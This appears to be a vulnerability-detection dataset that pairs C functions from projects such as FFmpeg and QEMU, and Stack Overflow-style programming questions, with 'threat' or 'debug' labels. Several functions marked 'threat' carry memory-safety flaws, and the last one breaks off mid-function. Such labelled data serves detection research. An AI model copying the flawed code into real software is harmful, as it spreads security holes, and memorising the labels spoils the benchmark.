problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
static inline void quantize_coefs(double *coef, int *idx, float *lpc, int order,
int c_bits)
{
int i;
const float *quant_arr = tns_tmp2_map[c_bits];
for (i = 0; i < order; i++) {
idx[i] = quant_array_idx((float)coef[i], quant_arr, c_bits ? 16 : 8);
lpc[i] = quant_arr[idx[i]];
}
}
| 1threat |
def first_non_repeating_character(str1):
char_order = []
ctr = {}
for c in str1:
if c in ctr:
ctr[c] += 1
else:
ctr[c] = 1
char_order.append(c)
for c in char_order:
if ctr[c] == 1:
return c
return None | 0debug |
Different behavior in pattern matching when using var or explicit type : <p>Consider the following, at first glance absurd, pattern match:</p>
<pre><code>string s = null;
if (s is string ss) //false
if (s is string) //false
</code></pre>
<p>Both <code>is</code> will return <code>false</code>. However if we use <code>var</code> the behavior changes completely:</p>
<pre><code>string s = null;
if (s is var ss) //true!?!
</code></pre>
<p>If you hover over <code>var</code> in <em>VS2017</em>, the type is <code>string</code> but the behavior of <code>is</code> is completely different. The compiler is doing something radically different even though the inferred type is the same. How can this be? Is this a bug? Is the <code>null</code> type somehow bubbling out?</p>
| 0debug |
bool bdrv_unallocated_blocks_are_zero(BlockDriverState *bs)
{
BlockDriverInfo bdi;
if (bs->backing_hd) {
return false;
}
if (bdrv_get_info(bs, &bdi) == 0) {
return bdi.unallocated_blocks_are_zero;
}
return false;
}
| 1threat |
how to get the telecom provider name of dual sim in android : enter code here
public String getImsiSIM1() {
return imsiSIM1;
}
public String getImsiSIM2() {
return imsiSIM2;
}
public boolean isSIM1Ready() {
return isSIM1Ready;
}
public boolean isSIM2Ready() {
return isSIM2Ready;
}
/*public static void setSIM2Ready(boolean isSIM2Ready) {
TelephonyInfo.isSIM2Ready = isSIM2Ready;
}*/
public boolean isDualSIM() {
return imsiSIM2 != null;
}
public String getNetworkOperator(){
return networkOperatorOne ;
}
public String getNetworkOperatorDual(){
return networkOperatorDual ;
}
private TelephonyInfo() {
}
public static TelephonyInfo getInstance(Context context){
if(telephonyInfo == null) {
telephonyInfo = new TelephonyInfo();
TelephonyManager telephonyManager = ((TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE));
telephonyInfo.imsiSIM1 = telephonyManager.getDeviceId();;
telephonyInfo.imsiSIM2 = null;
telephonyInfo.networkOperatorOne =telephonyManager.getNetworkOperator();
telephonyInfo.networkOperatorDual = null ;
try {
telephonyInfo.imsiSIM1 = getDeviceIdBySlot(context, "getDeviceIdGemini", 0);
telephonyInfo.imsiSIM2 = getDeviceIdBySlot(context, "getDeviceIdGemini", 1);
telephonyInfo.networkOperatorOne = getCarrierName(context,"getCarrierName",0);
telephonyInfo.networkOperatorDual = getCarrierName(context,"getCarrierName",1);
} catch (GeminiMethodNotFoundException e) {
e.printStackTrace();
try {
telephonyInfo.imsiSIM1 = getDeviceIdBySlot(context, "getDeviceId", 0);
telephonyInfo.imsiSIM2 = getDeviceIdBySlot(context, "getDeviceId", 1);
telephonyInfo.networkOperatorOne = getCarrierName(context,"getCarrierName",0);
telephonyInfo.networkOperatorDual = getCarrierName(context,"getCarrierName",1);
} catch (GeminiMethodNotFoundException e1) {
//Call here for next manufacturer's predicted method name if you wish
e1.printStackTrace();
}
}
telephonyInfo.isSIM1Ready = telephonyManager.getSimState() == TelephonyManager.SIM_STATE_READY;
telephonyInfo.isSIM2Ready = false;
try {
telephonyInfo.isSIM1Ready = getSIMStateBySlot(context, "getSimStateGemini", 0);
telephonyInfo.isSIM2Ready = getSIMStateBySlot(context, "getSimStateGemini", 1);
} catch (GeminiMethodNotFoundException e) {
e.printStackTrace();
try {
telephonyInfo.isSIM1Ready = getSIMStateBySlot(context, "getSimState", 0);
telephonyInfo.isSIM2Ready = getSIMStateBySlot(context, "getSimState", 1);
} catch (GeminiMethodNotFoundException e1) {
//Call here for next manufacturer's predicted method name if you wish
e1.printStackTrace();
}
}
}
return telephonyInfo;
}
private static String getDeviceIdBySlot(Context context, String predictedMethodName, int slotID) throws GeminiMethodNotFoundException {
String imsi = null;
TelephonyManager telephony = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
try{
Class<?> telephonyClass = Class.forName(telephony.getClass().getName());
Class<?>[] parameter = new Class[1];
parameter[0] = int.class;
Method getSimID = telephonyClass.getMethod(predictedMethodName, parameter);
Object[] obParameter = new Object[1];
obParameter[0] = slotID;
Object ob_phone = getSimID.invoke(telephony, obParameter);
if(ob_phone != null){
imsi = ob_phone.toString();
}
} catch (Exception e) {
e.printStackTrace();
throw new GeminiMethodNotFoundException(predictedMethodName);
}
return imsi;
}
private static boolean getSIMStateBySlot(Context context, String predictedMethodName, int slotID) throws GeminiMethodNotFoundException {
boolean isReady = false;
TelephonyManager telephony = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
try{
Class<?> telephonyClass = Class.forName(telephony.getClass().getName());
Class<?>[] parameter = new Class[1];
parameter[0] = int.class;
Method getSimStateGemini = telephonyClass.getMethod(predictedMethodName, parameter);
Object[] obParameter = new Object[1];
obParameter[0] = slotID;
Object ob_phone = getSimStateGemini.invoke(telephony, obParameter);
if(ob_phone != null){
int simState = Integer.parseInt(ob_phone.toString());
if(simState == TelephonyManager.SIM_STATE_READY){
isReady = true;
}
}
} catch (Exception e) {
e.printStackTrace();
throw new GeminiMethodNotFoundException(predictedMethodName);
}
return isReady;
}
private static String getCarrierName(Context context, String predictedMethodName, int slotID) throws GeminiMethodNotFoundException {
String carrier = null;
TelephonyManager telephony = (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
try{
Class<?> telephonyClass = Class.forName(telephony.getClass().getName());
Class<?>[] parameter = new Class[1];
parameter[0] = int.class;
Method sim = telephonyClass.getMethod(predictedMethodName, parameter);
Object[] obParameter = new Object[1];
obParameter[0] = slotID;
Object ob_phone = sim.invoke(telephony, obParameter);
if(ob_phone != null){
carrier = ob_phone.toString();
if(carrier .equals(TelephonyManager.SIM_STATE_READY)) {
Log.d("Services","servicessss"+carrier);
;
}
}
} catch (Exception e) {
e.printStackTrace();
throw new GeminiMethodNotFoundException(predictedMethodName);
}
return carrier;
}
private static class GeminiMethodNotFoundException extends Exception {
private static final long serialVersionUID = -996812356902545308L;
public GeminiMethodNotFoundException(String info) {
super(info);
}
}
}
| 0debug |
Where to find sshd logs on MacOS sierra : <p>I want to install Pseudo-Distributed HBase environment on my Mac OS Sierra (10.12.4), and it requires ssh installed and can log with <code>ssh localhost</code> without password. But sometimes I came across with error when I use <code>ssh</code> to log in. Above all are question background, and the actual question is where can I find debug logs of <code>sshd</code> so I could know why logging is failed in further?</p>
<p>As I know, Mac OS already have <code>sshd</code> installed and use <code>launchd</code> to manage it, and I know one way to output debug logs by <code>sshd -E /var/log/sshd.log</code>, but when I reviewed <code>/etc/ssh/sshd_config</code> configuration and there are two lines:</p>
<pre><code>#SyslogFacility AUTH
#LogLevel INFO
</code></pre>
<p>I guess these two lines are used to config debug mode, then I removed <code>#</code> before them and set <code>LogLevel</code> to <code>DEBUG3</code> and then restarted <code>sshd</code>:</p>
<pre><code>$ launchctl unload -w /System/Library/LaunchDaemons/ssh.plist
$ launchctl load -w /System/Library/LaunchDaemons/ssh.plist
</code></pre>
<p>And then I set log path in <code>/etc/syslog.conf</code>:</p>
<pre><code>auth.*<tab>/var/log/sshd.log
</code></pre>
<p><code><tab></code> means tab character here, and reloaded the config:</p>
<pre><code>$ killall -HUP syslogd
</code></pre>
<p>But <code>sshd.log</code> file can not be found in <code>/var/log</code> folder when I executed <code>ssh localhost</code>. I also tried config the <code>/etc/asl.log</code>:</p>
<pre><code>> /var/log/sshd.log format=raw
? [= Facility auth] file sshd.log
</code></pre>
<p>And the result was the same, can someone help me?</p>
| 0debug |
static void virtio_blk_dma_restart_bh(void *opaque)
{
VirtIOBlock *s = opaque;
VirtIOBlockReq *req = s->rq;
MultiReqBuffer mrb = {
.num_writes = 0,
};
qemu_bh_delete(s->bh);
s->bh = NULL;
s->rq = NULL;
while (req) {
virtio_blk_handle_request(req, &mrb);
req = req->next;
}
if (mrb.num_writes > 0) {
do_multiwrite(s->bs, mrb.blkreq, mrb.num_writes);
}
}
| 1threat |
static void do_subtitle_out(AVFormatContext *s,
OutputStream *ost,
InputStream *ist,
AVSubtitle *sub)
{
int subtitle_out_max_size = 1024 * 1024;
int subtitle_out_size, nb, i;
AVCodecContext *enc;
AVPacket pkt;
int64_t pts;
if (sub->pts == AV_NOPTS_VALUE) {
av_log(NULL, AV_LOG_ERROR, "Subtitle packets must have a pts\n");
if (exit_on_error)
exit_program(1);
return;
}
enc = ost->enc_ctx;
if (!subtitle_out) {
subtitle_out = av_malloc(subtitle_out_max_size);
}
if (enc->codec_id == AV_CODEC_ID_DVB_SUBTITLE)
nb = 2;
else
nb = 1;
pts = sub->pts;
if (output_files[ost->file_index]->start_time != AV_NOPTS_VALUE)
pts -= output_files[ost->file_index]->start_time;
for (i = 0; i < nb; i++) {
ost->sync_opts = av_rescale_q(pts, AV_TIME_BASE_Q, enc->time_base);
if (!check_recording_time(ost))
return;
sub->pts = pts;
sub->pts += av_rescale_q(sub->start_display_time, (AVRational){ 1, 1000 }, AV_TIME_BASE_Q);
sub->end_display_time -= sub->start_display_time;
sub->start_display_time = 0;
if (i == 1)
sub->num_rects = 0;
ost->frames_encoded++;
subtitle_out_size = avcodec_encode_subtitle(enc, subtitle_out,
subtitle_out_max_size, sub);
if (i == 1)
sub->num_rects = save_num_rects;
if (subtitle_out_size < 0) {
av_log(NULL, AV_LOG_FATAL, "Subtitle encoding failed\n");
exit_program(1);
}
av_init_packet(&pkt);
pkt.data = subtitle_out;
pkt.size = subtitle_out_size;
pkt.pts = av_rescale_q(sub->pts, AV_TIME_BASE_Q, ost->st->time_base);
pkt.duration = av_rescale_q(sub->end_display_time, (AVRational){ 1, 1000 }, ost->st->time_base);
if (enc->codec_id == AV_CODEC_ID_DVB_SUBTITLE) {
if (i == 0)
pkt.pts += 90 * sub->start_display_time;
else
pkt.pts += 90 * sub->end_display_time;
}
pkt.dts = pkt.pts;
write_frame(s, &pkt, ost);
}
} | 1threat |
static int check_init_output_file(OutputFile *of, int file_index)
{
int ret, i;
for (i = 0; i < of->ctx->nb_streams; i++) {
OutputStream *ost = output_streams[of->ost_index + i];
if (!ost->initialized)
return 0;
}
of->ctx->interrupt_callback = int_cb;
ret = avformat_write_header(of->ctx, &of->opts);
if (ret < 0) {
av_log(NULL, AV_LOG_ERROR,
"Could not write header for output file #%d "
"(incorrect codec parameters ?): %s\n",
file_index, av_err2str(ret));
return ret;
}
of->header_written = 1;
av_dump_format(of->ctx, file_index, of->ctx->filename, 1);
if (sdp_filename || want_sdp)
print_sdp();
for (i = 0; i < of->ctx->nb_streams; i++) {
OutputStream *ost = output_streams[of->ost_index + i];
if (!av_fifo_size(ost->muxing_queue))
ost->mux_timebase = ost->st->time_base;
while (av_fifo_size(ost->muxing_queue)) {
AVPacket pkt;
av_fifo_generic_read(ost->muxing_queue, &pkt, sizeof(pkt), NULL);
write_packet(of, &pkt, ost);
}
}
return 0;
}
| 1threat |
How to remove the similar text from one column by comparing with other column in SQL Server : <p>I have the following example</p>
<pre><code>addressid 23915031
customerid 13154569
address1 FLAT NO 23 3Road Floor KRISH BUILDING ANUSHKTI
address2 GAR BARC COLONY Near SECTOR MARKET
address3 MANKHURoad MUMBAI
landmark ANUOHAKTING
zipcode 400094
addresstype RESIDENCE ADDRESS
cityname MUMBAI
statedesc MAHARASHTRA
</code></pre>
<p>In the above example I want to remove Mumbai from address3 field by comapring with cityname field. How to perform this in SQL server.
Please help! </p>
| 0debug |
If else statement problem in android studio : I know this is a very silly question. But i am stuck in this and I have no idea how to solve it.
There are some variables with values:
> float total = 74.67 ;
String grade = "", point = "";
And with this values I want to do this:
if(total>=80){
grade = "A+";
point = "4.00";
}else if(total<=79 && total>=75){
grade = "A";
point = "3.75";
}else if(total>=70 && total<=74) {
grade = "A-";
point = "3.50";
}else if(total<=65 && total>=69){
grade = "B+";
point = "3.25";
}else if(total<=64 && total>=60){
grade = "B";
point = "3.00";
}else if (total<=59 && total>=55){
grade = "B-";
point = "2.75";
}else if (total<=54 && total>=50){
grade = "C+";
point = "2.50";
}else if(total<=49 && total>=45){
grade = "C";
point = "2.25";
}else if (total<=44 && total>=40){
grade = "D";
point = "2.00";
}
else {
grade = "F";
point = "0.00";
}
but it always shows grade = "F" and point = "0.00".
if I write this,
if(total>=70 && total<=74) {
grade = "A-";
point = "3.50";
}
it shows grade ="" and point ="".
the value of total is showing nicely but there are problem with grade and point. can anyone tell me what is the problem? | 0debug |
def move_last(num_list):
a = [num_list[0] for i in range(num_list.count(num_list[0]))]
x = [ i for i in num_list if i != num_list[0]]
x.extend(a)
return (x) | 0debug |
Calling a function from inside a function while they both are at a header file : <p>I hope i am not recycling already asked questions. I searched, i didn't find anything.<br/><br/>
I have a main function in a .cpp file. I also have a header file full with other functions i made. All the functions work great either inside the .cpp file or the header file. However, i made two new functions, the func1 and the func2. Func1 calls func2. They both work when they are inside the .cpp file, but as soon as i move them to the header file, they don't work.
There is an error at the exact point where func1 calls func2.<br/>
The error message is: "func2: identifier not found".<br/>
Now, i assume that for some reason, func1 doesn't identify func2, or it can't 'see' it. <br/>
What do i do wrong? How can i call function inside functions when they are both inside a header file? <br/><br/>
I will include all the necessary code, including func1 and func2.<br/><br/></p>
<p>func1 is something like this (for the whole code, please contact me or visit my github page):
<br/></p>
<pre><code>int func1(int* mat, int n)
{
....code.......
....code.......
for (int k = 0; k < n - 1; k++)
{
for (int p = k + 1; p < n; p++)
{
if (func2(abs(k - p), mat, n)) count++; //i call func2
}
}
.....code......
.....code......
}
</code></pre>
<p>func2 is just code. nothing interesting. The error occurs when trying to call it through func1.<br/>
Okay, so as is said, the code works fine when the two functions are in the .cpp file. When they are in the header file, there is an error at this line: <br/></p>
<pre><code>if (func2(abs(k - p), mat, n)) count++; //i call func2
</code></pre>
<p><br/> If you have any questions, please contact me. <br/>
You can find the full code for my program, here: <br/>
<a href="https://github.com/tasospan/Jolly-Jumper" rel="nofollow noreferrer">enter link description here</a></p>
| 0debug |
How to remove all fields from a Javascript object that match a regex? : I have the following JS object:
let obj = {
'a': 1,
'a-gaboom': 1,
'b': 1,
'b-gaboom': 1
}
I want to delete all fields that end with "gaboom". I could do it with `delete obj.a-gaboom; delete obj.b-gaboom`, but is there a way to do it with a regex? | 0debug |
Python: Read only file name, instead of path : <p>How to get ONLY filename instead of full path?</p>
<p>For example:</p>
<pre><code>path = /folder/file.txt
</code></pre>
<p>and i need to get:</p>
<pre><code>filename = file.txt
</code></pre>
<p>How to do that?</p>
| 0debug |
How to return the correct info from a Javascript loop : Good day all, i was creating this javascript quiz app and i have some bugs where i can't figure out.
it displays correctly, but where the error is, is at the output which is supposed to return "You answered (no of questions answered) out of (total number of questions). Here it just displays 0 if when the value is true.
Below is my script.
thanks
<script>
var pos = 0, test, test_status, question, choice, choices, chA, chB, chC, correct = 0;
var questions = [
["What is 10 + 4?", "12", "14", "16", "B"],
["What is 10 + 5?", "15", "14", "16", "A"],
["What is 20 + 4?", "12", "24", "16", "B"],
["What is 30 + 4?", "32", "24", "34", "C"],
["What is 10 + 6?", "12", "14", "16", "C"]
];
function _(x) {
return document.getElementById(x);
}
function renderQuestion() {
test = _("test");
if(pos >= questions.length) {
test.innerHTML = "<h2>You got "+ correct +" of "+questions.length+" Questions correct</h2>";
_("test_status").innerHTML = "Test Completed";
pos = 0;
correct = 0;
return false;
}
_("test_status").innerHTML = "Question "+(pos+1)+" of "+questions.length;
question = questions[pos][0];
chA = questions[pos][1];
chB = questions[pos][2];
chC = questions[pos][3];
test.innerHTML = "<h3>"+question+"</h3>";
test.innerHTML +="<input type='radio' name='chioces' value='A'> "+chA+"<br>";
test.innerHTML +="<input type='radio' name='chioces' value='B'> "+chB+"<br>";
test.innerHTML +="<input type='radio' name='chioces' value='C'> "+chC+"<br>";
test.innerHTML += "<button onclick='checkAnswer()'>Submit Answer</button>";
}
function checkAnswer() {
choices = document.getElementsByName("choices");
for(var i=0; i<choices.length; i++) {
if(choices[i].checked) {
choice = choices[i].value;
}
}
if (choice == questions[pos][4]) {
correct++;
}
pos++;
renderQuestion();
}
window.addEventListener("load", renderQuestion, false);
</script> | 0debug |
Remove Duplicate Item name in arraylist : Please help me. I want to show the username only once from firebase. Although the user have multiple record in the firebase. I just want to view the name of user who make order. The user can make multiple order, but I just want to show their name once.
I try many ways but I cant success. Someone who know about this. Thank you very much.
[This is my firebase][1]
[This is the result I get][2]
public void onCreate(Bundle savedInstanceState) {
UID = this.getArguments().getString("UID");
mDatabase = FirebaseDatabase.getInstance().getReference();
mStorage = FirebaseStorage.getInstance();
mItems = new ArrayList<>();
wordDulicate = new ArrayList<>();
tempList = new ArrayList<>();
if(UID != null){
mItemsKey = new ArrayList<>();
mOrderedItemRef = mDatabase.child("OrderedItem");
Log.d(TAG, " mOrderedItemRef:" + mOrderedItemRef);
mOrderedItemVEL = mOrderedItemRef.addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange(DataSnapshot dataSnapshot) {
mItems.clear();
mItemsKey.clear();
wordDulicate.clear();
Log.d(TAG, "onDataChange");
for (DataSnapshot d : dataSnapshot.getChildren()) {
OrderedItem orderedItem = d.getValue(OrderedItem.class);
Log.d(TAG, "orderedItem:" + orderedItem.getUserName());
mItems.add(orderedItem);
mItemsKey.add(d.getKey());
}
updateUI();
}
@Override
public void onCancelled (DatabaseError databaseError){
Log.d(TAG, "get item databaseError: "+databaseError);
}
});
}
else{
Log.d(TAG, "UID: "+UID);
}
super.onCreate(savedInstanceState);
}
@Override
public void onDestroy(){
super.onDestroy();
// if (mItemRef != null) mItemRef.removeEventListener(mItemVEL);
}
@Override
public void onDetach(){
super.onDetach();
// if (mItemRef != null) mItemRef.removeEventListener(mItemVEL);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View view = inflater.inflate(R.layout.fragment_admin_list_user_order, container, false);
mItemRecyclerView = (RecyclerView) view.findViewById(R.id.admin_order_recycler_view);
DividerItemDecoration dividerItemDecoration = new DividerItemDecoration(mItemRecyclerView.getContext(), new LinearLayoutManager(getActivity()).getOrientation());
mItemRecyclerView.addItemDecoration(dividerItemDecoration);
mItemRecyclerView.setLayoutManager(new LinearLayoutManager(getActivity()));
return view;
}
private void updateUI(){
Log.d(TAG, "Enter updateUI(); mItems: " + mItems);
mAdapter = new ItemAdapter(mItems);
mItemRecyclerView.setAdapter(mAdapter);
}
private class ItemHolder extends RecyclerView.ViewHolder{
OrderedItem mItems;
TextView mNameTextView;
ItemHolder(final View itemView){
super(itemView);
mNameTextView = (TextView) itemView.findViewById(R.id.textview_username);
/* if (UID != null) {
itemView.setOnClickListener(new View.OnClickListener() {
@SuppressLint("LongLogTag")
@Override
public void onClick(View view) {
Log.d(TAG, "UID != null");
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
builder
.setMessage("Delete This Item?")
.setPositiveButton(R.string.yes, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
deleteItem(mItems);
}
}).setNegativeButton(R.string.no, new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// User cancelled the dialog
}
});
AlertDialog dialog = builder.create();
dialog.show();
}
});
}*/
}
void bindData(OrderedItem s){
mItems = s;
mNameTextView.setText(s.getUserName());
}
}
private class ItemAdapter extends RecyclerView.Adapter<ItemHolder>{
private ArrayList<OrderedItem> mItems;
ItemAdapter(ArrayList<OrderedItem> Items){
mItems = Items;
}
@Override
public ItemHolder onCreateViewHolder(ViewGroup parent, int viewType) {
LayoutInflater layoutInflater = LayoutInflater.from(getActivity());
View view = layoutInflater.inflate(R.layout.admin_listed_user_order,parent,false);
return new ItemHolder(view);
}
@Override
public void onBindViewHolder(ItemHolder holder, int position) {
OrderedItem s = mItems.get(position);
holder.bindData(s);
}
@Override
public int getItemCount() {
return mItems.size();
}
}
}
[1]: https://i.stack.imgur.com/hbHor.png
[2]: https://i.stack.imgur.com/4Tt7n.png | 0debug |
replace method for python strings : <p>I have a string S = 'spam'</p>
<p>When I use the method replace as S.replace('pa', 'xx')</p>
<pre><code>S.replace('pa', 'xx')
</code></pre>
<p>The output I get is -</p>
<pre><code>Out[1044]: "sxxm's"
</code></pre>
<p>Why then are the python strings known to be immutable ?</p>
| 0debug |
Angular2 Call Function When the Input Changes : <p>Child component:</p>
<pre><code>export class Child {
@Input() public value: string;
public childFunction(){...}
}
</code></pre>
<p>Parent component: </p>
<pre><code>export class Parent {
public value2: string;
function1(){ value2 = "a" }
function2(){ value2 = "b" }
}
</code></pre>
<p>Parent view: </p>
<pre><code><child [value]="value2">
</code></pre>
<p>Is there any way to call childFunction() every time the value2 is changed in this structure? </p>
| 0debug |
void do_ddiv (void)
{
if (T1 != 0) {
lldiv_t res = lldiv((int64_t)T0, (int64_t)T1);
env->LO[0][env->current_tc] = res.quot;
env->HI[0][env->current_tc] = res.rem;
}
}
| 1threat |
Result of calculation (PHP) : <p>For example somebody write on site into input 2+2 and then variable goes to php by GET. Php print variable as 2+2. How to automatically convert it to result of given calculation (4)?</p>
| 0debug |
query = 'SELECT * FROM customers WHERE email = ' + email_input | 1threat |
sql exception incorrect syntax near 'G' whats the problem? : I have an SQL query created by inserting values from C#.
in c#:string command = "INSERT INTO Phones(devicename, batterylife, price, antutu, ImageURL) VALUES ( " + model + ", " + batterylife + ", " + price + ", " + antutu + ", " + imgURL + " )";
in SQL after parsing: INSERT INTO Phones(devicename, batterylife, price, antutu, ImageURL) VALUES ( Samsung-Galaxy-S10-5G, 0, 0, 0, cdn2.gsmarena.com/vv/bigpic/samsung-galaxy-s10-5g.jpg )
and when trying to execute it visual studio gives the following exception:
System.Data.SqlClient.SqlException
HResult=0x80131904
Message=Incorrect syntax near 'G'.
Source=.Net SqlClient Data Provider
StackTrace:
Cannot evaluate the exception stack trace
also when I replace the regular model name variable with a word visual studio throws the same exception for little g with no location help to understand.
pls help and thnx in advance, Noam. | 0debug |
Square Root to 2 Decimal places [Python] : I've been trying to do some homework and was getting on fine until I came across a particular task.
The Task is: Ask the user to enter an integer that is over 500. Work out the square root of that number and display it to 2 decimal places.
My Current Code is below I have managed to make it do the square root part but it is not displaying it to 2 decimal places!
[1]: https://i.stack.imgur.com/JdFUz.png | 0debug |
What does ` UNMET PEER DEPENDENCY <packageName> extraneous` mean? : <p>I understand that <code>UNMET PEER DEPENDENCY</code> means I need to <code>npm install</code> one of my <code>peerDependencies</code>. I <em>believe</em> that <code>extraneous</code> means the package exists but is not listed in <code>package.json</code> (presumably because it's installed globally?).</p>
<p>What does it mean to have the two of them together?</p>
<p>And why am I seeing this error even though I see these packages in <code>node_modules</code>, at the correct versions?</p>
| 0debug |
void eth_get_protocols(const struct iovec *iov, int iovcnt,
bool *isip4, bool *isip6,
bool *isudp, bool *istcp,
size_t *l3hdr_off,
size_t *l4hdr_off,
size_t *l5hdr_off,
eth_ip6_hdr_info *ip6hdr_info,
eth_ip4_hdr_info *ip4hdr_info,
eth_l4_hdr_info *l4hdr_info)
{
int proto;
bool fragment = false;
size_t l2hdr_len = eth_get_l2_hdr_length_iov(iov, iovcnt);
size_t input_size = iov_size(iov, iovcnt);
size_t copied;
*isip4 = *isip6 = *isudp = *istcp = false;
proto = eth_get_l3_proto(iov, iovcnt, l2hdr_len);
*l3hdr_off = l2hdr_len;
if (proto == ETH_P_IP) {
struct ip_header *iphdr = &ip4hdr_info->ip4_hdr;
if (input_size < l2hdr_len) {
return;
}
copied = iov_to_buf(iov, iovcnt, l2hdr_len, iphdr, sizeof(*iphdr));
*isip4 = true;
if (copied < sizeof(*iphdr)) {
return;
}
if (IP_HEADER_VERSION(iphdr) == IP_HEADER_VERSION_4) {
if (iphdr->ip_p == IP_PROTO_TCP) {
*istcp = true;
} else if (iphdr->ip_p == IP_PROTO_UDP) {
*isudp = true;
}
}
ip4hdr_info->fragment = IP4_IS_FRAGMENT(iphdr);
*l4hdr_off = l2hdr_len + IP_HDR_GET_LEN(iphdr);
fragment = ip4hdr_info->fragment;
} else if (proto == ETH_P_IPV6) {
*isip6 = true;
if (eth_parse_ipv6_hdr(iov, iovcnt, l2hdr_len,
ip6hdr_info)) {
if (ip6hdr_info->l4proto == IP_PROTO_TCP) {
*istcp = true;
} else if (ip6hdr_info->l4proto == IP_PROTO_UDP) {
*isudp = true;
}
} else {
return;
}
*l4hdr_off = l2hdr_len + ip6hdr_info->full_hdr_len;
fragment = ip6hdr_info->fragment;
}
if (!fragment) {
if (*istcp) {
*istcp = _eth_copy_chunk(input_size,
iov, iovcnt,
*l4hdr_off, sizeof(l4hdr_info->hdr.tcp),
&l4hdr_info->hdr.tcp);
if (istcp) {
*l5hdr_off = *l4hdr_off +
TCP_HEADER_DATA_OFFSET(&l4hdr_info->hdr.tcp);
l4hdr_info->has_tcp_data =
_eth_tcp_has_data(proto == ETH_P_IP,
&ip4hdr_info->ip4_hdr,
&ip6hdr_info->ip6_hdr,
*l4hdr_off - *l3hdr_off,
&l4hdr_info->hdr.tcp);
}
} else if (*isudp) {
*isudp = _eth_copy_chunk(input_size,
iov, iovcnt,
*l4hdr_off, sizeof(l4hdr_info->hdr.udp),
&l4hdr_info->hdr.udp);
*l5hdr_off = *l4hdr_off + sizeof(l4hdr_info->hdr.udp);
}
}
}
| 1threat |
Python 3.4.4 formatting : I am wondering if there is a way to add a string to the end of a input line.
print('ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ')
ItemCost = float(input('βEnter item cost: '))
This outputs
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βEnter item cost: xxxx
I would like it to output
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βEnter item cost: xxxx β
Any help would be appriciated thank you | 0debug |
Text Contains two different strings? WebDriver C# : <p>I am trying to assert whether two or more strings are evident. My code currently only looks for "Good". Is there a way to look for "Good" or "Bad"?</p>
<pre><code> public class Test
{
public static bool FindText()
{
var conf = Driver.Instance.FindElement(By.Id("foo"));
if (conf.Text.Contains("Good"))
{
return true;
}
throw new Exception("Text not found");
}
}
</code></pre>
| 0debug |
std::string == operator not working in code : <p>So I am making a simple calculator using c++ which inputs a string from the user and takes that input as the operation.</p>
<pre><code>std::cout<<"Enter your operation: ";
std::string operation;
std::cin>>operation;
while(operation != string("+")|| operation != string("-") || operation != string("*"))
{
std::cout<<"Invalid operation! Please enter a valid one: ";
std::cin>>operation;
}
</code></pre>
<p>However no matter what I input, I get the error message "Invalid operation! Please enter a valid one: ".
Please help me out here, thanks!</p>
| 0debug |
av_cold void ff_init_range_decoder(RangeCoder *c, const uint8_t *buf,
int buf_size)
{
ff_init_range_encoder(c, (uint8_t *)buf, buf_size);
c->low = AV_RB16(c->bytestream);
c->bytestream += 2;
| 1threat |
What happens here in the training of a Keras model? : I am new to Keras development and I have tried to create a Keras model with my own data. After about a few epochs something strange happened (like a staircase) that I can't explain to myself.
[Result of the training][1]
Do you know by chance what the event after about 270 epochs means?
[1]: https://i.stack.imgur.com/EdklU.png | 0debug |
Delete php is not working. : hey my code is not working. my database does not have unique id
include('php_connect.php');
// check if the 'Userid' variable is set in URL, and check that it is valid
if (isset($_GET['ServerName']))
{
// get id value
$userid = $_GET['ServerName'];
// delete the entry
$strSQL = "DELETE from server WHERE ServerName = (?)";
$params = array($userid);
$stmt = sqlsrv_query( $conn, $strSQL, $params);
if( $stmt ){
sqlsrv_commit( $conn );
echo "Record Deleted";
}
else
{
echo $params[0];
echo "statement error.<br />";
die( print_r( sqlsrv_errors(), true));
}
sqlsrv_close( $conn );
}
else
// if id isn't set, or isn't valid, redirect back to view page
{
echo "WTH Something happened to the ServerName!.<br />";
echo "Better start over.<br />";
}
?>
and the results is this
WTH Something happened to the ServerName!
Better start over
| 0debug |
static int sonic_encode_frame(AVCodecContext *avctx, AVPacket *avpkt,
const AVFrame *frame, int *got_packet_ptr)
{
SonicContext *s = avctx->priv_data;
RangeCoder c;
int i, j, ch, quant = 0, x = 0;
int ret;
const short *samples = (const int16_t*)frame->data[0];
uint8_t state[32];
if ((ret = ff_alloc_packet2(avctx, avpkt, s->frame_size * 5 + 1000)) < 0)
return ret;
ff_init_range_encoder(&c, avpkt->data, avpkt->size);
ff_build_rac_states(&c, 0.05*(1LL<<32), 256-8);
memset(state, 128, sizeof(state));
for (i = 0; i < s->frame_size; i++)
s->int_samples[i] = samples[i];
if (!s->lossless)
for (i = 0; i < s->frame_size; i++)
s->int_samples[i] = s->int_samples[i] << SAMPLE_SHIFT;
switch(s->decorrelation)
{
case MID_SIDE:
for (i = 0; i < s->frame_size; i += s->channels)
{
s->int_samples[i] += s->int_samples[i+1];
s->int_samples[i+1] -= shift(s->int_samples[i], 1);
}
break;
case LEFT_SIDE:
for (i = 0; i < s->frame_size; i += s->channels)
s->int_samples[i+1] -= s->int_samples[i];
break;
case RIGHT_SIDE:
for (i = 0; i < s->frame_size; i += s->channels)
s->int_samples[i] -= s->int_samples[i+1];
break;
}
memset(s->window, 0, 4* s->window_size);
for (i = 0; i < s->tail_size; i++)
s->window[x++] = s->tail[i];
for (i = 0; i < s->frame_size; i++)
s->window[x++] = s->int_samples[i];
for (i = 0; i < s->tail_size; i++)
s->window[x++] = 0;
for (i = 0; i < s->tail_size; i++)
s->tail[i] = s->int_samples[s->frame_size - s->tail_size + i];
modified_levinson_durbin(s->window, s->window_size,
s->predictor_k, s->num_taps, s->channels, s->tap_quant);
if ((ret = intlist_write(&c, state, s->predictor_k, s->num_taps, 0)) < 0)
return ret;
for (ch = 0; ch < s->channels; ch++)
{
x = s->tail_size+ch;
for (i = 0; i < s->block_align; i++)
{
